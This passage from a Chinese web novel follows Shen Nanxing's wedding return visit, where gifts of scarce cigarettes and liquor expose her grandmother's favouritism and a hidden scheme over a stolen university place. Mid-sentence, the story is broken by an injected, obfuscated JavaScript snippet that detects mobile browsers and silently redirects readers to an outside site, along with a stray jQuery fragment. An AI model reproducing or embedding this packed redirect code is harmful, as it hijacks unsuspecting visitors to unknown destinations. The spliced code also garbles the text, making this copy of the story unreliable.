秀英婶子也帮腔道:“贵算啥,还得有票,一般人哪能弄到这紧俏的票,买一盒两盒就顶天了,小南这一下拿回来两条,乖乖啊!这闺女真是没话说,妥帖的很。有粮叔,你可别舍不得给你这老兄弟尝尝啊。” 沈老头沈有粮,也是个爱面子的,被架起来的他,当场就拆了一条,直接拿出一盒丢给二大爷:“老二你尝尝。” 又拆一盒给自己的二儿子和三儿子:“都尝尝。” “有粮叔,也给咱们分一根尝尝呗,一根就行,尝尝这大领导们抽的烟,都是啥味儿。”外面院子里不知道啥时候也跑来不少人看热闹,这会儿都起哄起来。 “是啊有粮大爷,给咱也分一根尝尝。” “有粮大爷你可真有福气,都抽上领导的特供烟了。咱公社书记都没这待遇。” 人群非常热闹,一片恭维之声,沈有粮也飘飘然起来,又拿了两包烟朝外面丢出去:“都分分,尝一下。” 外面人还吵着不够,有人叫喊着没分到,沈有粮还想再散烟,却被旁边的韩金花一把将剩下的烟都给拿走,收起来。 韩金花面上却笑着说:“哎呦真是,这哪有个头啊,青山找领导还有事要办,这烟到底是体面些。改明儿我称一斤烟丝,大家想咋抽咋抽。” 把这一茬给打岔过去。 院子里没分到烟的,心里不大高兴,但也不至于露出来。 沈南星又拿出了酒:“这酒可是京市酒厂出的,我听人家说,这可是国宴用酒,就是那些大领导们接待外宾的酒,这也就是省里有关系的领导,后勤上能给分几瓶,一般领导都摸不着呢。” 事实上么,就是京市酒厂新款包装的酒,跟以前比换了个包装罢了。 只是在丰省这边没有卖的,这边一般都是卖当地酒。别人也不知道,沈南星想咋说咋说。 “国宴用酒不是茅台吗?”有人说,“茅台可得八块钱一瓶呢。这酒也不知道多少钱。” “那也不能就喝一种酒啊,得叫人家外宾都尝尝嘛。”都不用沈南星解释,边上就有人说,“多少钱也不是咱老农民买得起的,今儿咱们可都开眼了。” “哎呦乖乖,这酒盒子上都印的有个‘供’字。” “老鳖你读了几天书,还认识供字啊。” 人群哄堂大笑。 这次韩金花学乖了,不等沈南星再说什么,赶紧把这两瓶酒拿走,塞给三儿子沈青山,叫拿屋里去。 沈家老三沈青山,在县高中当老师,正在找关系调往教育局。 在这年代,只要有点子关系,这么操作并不是多难的事,老丈人那边已经给了准话,调动就是这个月的事。 但这关系也不是动动嘴皮子就行的,得掏好处出来。 钱得拿,孝敬的东西也得拿。 普通的烟酒也可以,但要是有这种特供的好东西,那效果肯定更好的呀。 也省得媳妇整天说自己占她家的光。 三叔沈青山拿了两瓶酒,自己去收拾也不好意思,就塞给自己老婆,让去收拾了。 三婶张玉如脸上也带着笑,欢欢喜喜地拿了东西进屋去。 边上的二叔沈群山抽着烟不说话,二婶田彩云,牙都要咬断,啥好东西都偏着老三家! 旁边的秀英婶子就高声笑道:“婶子这好酒赶紧藏起来,怕咱们喝,也怕咱们看呢哈哈哈。” 韩金花脸色很不好看,但是人多,体面得要:“这不是老三工作上到了要紧关头,我正瞅着不知道咋弄,有这烟酒,事儿就好办了。这酒也就是包装的好看着体面,真喝起来怕是还不如咱供销社的散酒,纯粮食酿的呢。” 沈南星也连点头说道:“只要粮食酿的都是好酒,散酒咱自己喝或者是送亲戚都成,实打实的好东西,可是去找人办事就送不出手了。” 韩金花满意地点头,这丫头,果然是结婚就懂事了,虽说吧,没如他们的意嫁给金元宝,但是谈家那植物人能活多久,人死了,她还不是得再嫁,到时候再筹谋,反正不管怎么,她现在留在农村了,不会妨碍外孙女去上大学就成。 刚这么想着,就听沈南星又笑道:“咱奶一向不是那小气的人,真不是舍不得给大家喝,就是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15062997|163014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧三叔工作调动要用。今儿这么多人来咱家,那都是给咱家面子,多的没有,一人给口酒喝,咱奶还是舍得的。二大爷,成武叔在外面不……成武叔,你去帮着打十斤八斤的散酒,用他们的坛子盛回来,回头咱奶去结账再把坛子还回去。” “行。” 隔壁二大爷家那位直肠子直性子,人送外号二杆子的小儿子沈成武,扭头就去了,叫都叫不住。 韩金花简直是眼冒金星。 一斤粮食酿的散酒要四毛呢,十斤八斤的,少说也得几块钱,几块钱啊,买成盐和洋火,一家子三年都使不完! 秀英婶子又在哄笑,打趣说:“小儿子大孙子,老太太的命根子,显宗啊你瞅瞅你奶,光偏着你三叔,这好东西都叫你三叔拿走了,你可是你奶的大孙子,以后你爷奶老了可得指着你这个大孙子过活呢。” 二叔家的沈显宗,是老沈家的长孙,也确实一直得爷奶宠爱。 爷奶也总说最疼爱他,可有啥好东西都是紧着三叔一家。 这会儿被秀英婶子这么挤兑,性子本来就又木又倔不会拐弯的沈显宗,腾地站起来,四处瞅瞅,最后目光落在沈南星带来的筐子上。 他直接上前,一把将筐子抢走:“奶,你们不能偏心,剩下这些都得给我。” 真是丑气。 当着这么多人的面,沈家老两口闹了个大没脸。尤其是跟落落大方的沈南星比,沈显宗这位沈家长孙还大几岁呢,这做派,叫人都没眼看。 沈南星却赶紧说:“大哥你这可是冤枉爷奶了,他们可没偏心,一直替你打算着呢,前些天我还听爷奶说,公社饲养场要招工,他们说想办法给你弄进去……” “胡说啥呢!还不快闭嘴!” “真的?” 两道声音同时响起。 前者是奶奶韩金花,后者是堂哥沈显宗。 韩金花脸色铁青。 沈显宗却是喜形于色,赶紧看着她奶:“奶,是不是真的?我真能去当工人?” 此言一出,所有人都看过来。 田彩云也一脸期待地看着韩金花。 韩金花脸色僵硬,瞪了沈南星一眼:“这事儿以后再说,女孩子家的,嘴咋那么快!” 沈显宗还要再问,韩金花却道:“显宗你出去看看饭菜做好没有,酒……酒给大家都分分,叫都尝尝,别叫娃们给糟践了。” 支开沈显宗,韩金花的脸色彻底沉下来。 可还没等她再质问,沈南星先开口了:“奶,小姑和姑父今儿咋没来?还有秀秀姐呢,我这有俩月都没见过秀秀姐了,我结婚他们不来,回门他们也不来?” 一瞬间,韩金花脸上的怒意全都收敛了起来。 三婶张玉如也说:“是啊,小妹和妹夫忙啥呢,妈,你没通知他们吗?” 二婶田彩云也撇嘴:“小妹一家这是想跟咱断亲吗,这么大的事都不回来。” 韩金花瞪了二儿媳一眼,缓了缓才说道:“他们工作忙,抽不出来时间,改天吧。” 沈南星:“小姑和姑父没时间,秀秀姐也没时间来吗?秀秀姐去复读了吗?小姑不是说,一定要叫秀秀姐上大学,我还想着跟秀秀姐一起复习呢。” 按照上辈子的剧情,她小姑家的表姐林秀秀,此刻已经顶着“沈南星”的名字,在全国最好的医学院校,京市医学院,成为一名光荣的大学生了呢。 不过,别人家若是有人考上大学,哪怕是专科,也恨不得敲锣打鼓,要是考上很好大学,那消息更是会很快传遍十里八乡人尽皆知,就像她爸沈成山当年一样,远近闻名。 林秀秀呢,顶着“沈南星”的身份,上了全国首屈一指的好大学,却是像做贼一样,不敢叫任何人知道。 看二婶三婶反应,林秀秀顶替她去上大学这事儿,恐怕也就小姑姑父和韩金花知道,瞒着沈家其他人呢。 韩金花脸色十分不好看,一个字都不敢提林秀秀,只是呵斥道:“你都嫁人了还复读个啥,还要考啥大学?谈家娶你回去是叫你照顾三礼的,你还要去上学考大学,三礼咋办?一点都不安分,说出去叫人笑话。我告诉你,你不许再去上学了,就在家里好好照顾三礼。你自己非要嫁个活死人,那就受着!” 沈南星盯着韩金花,笑起来:“可是我奶说只要我想考,她就支持我继续考大学,一年考不上再考一年,反正她有钱供我。三礼他爹每月寄钱回来,三礼的津贴部队也月月发呢。我奶说我考多少次都行,我非要考上京市医学院不可。” 韩金花只觉得眼前一黑,血压又蹭噌上涨。 沈南星还在追问:“奶,你还没说,我秀秀姐现在到底在哪儿呢?我可想她了。”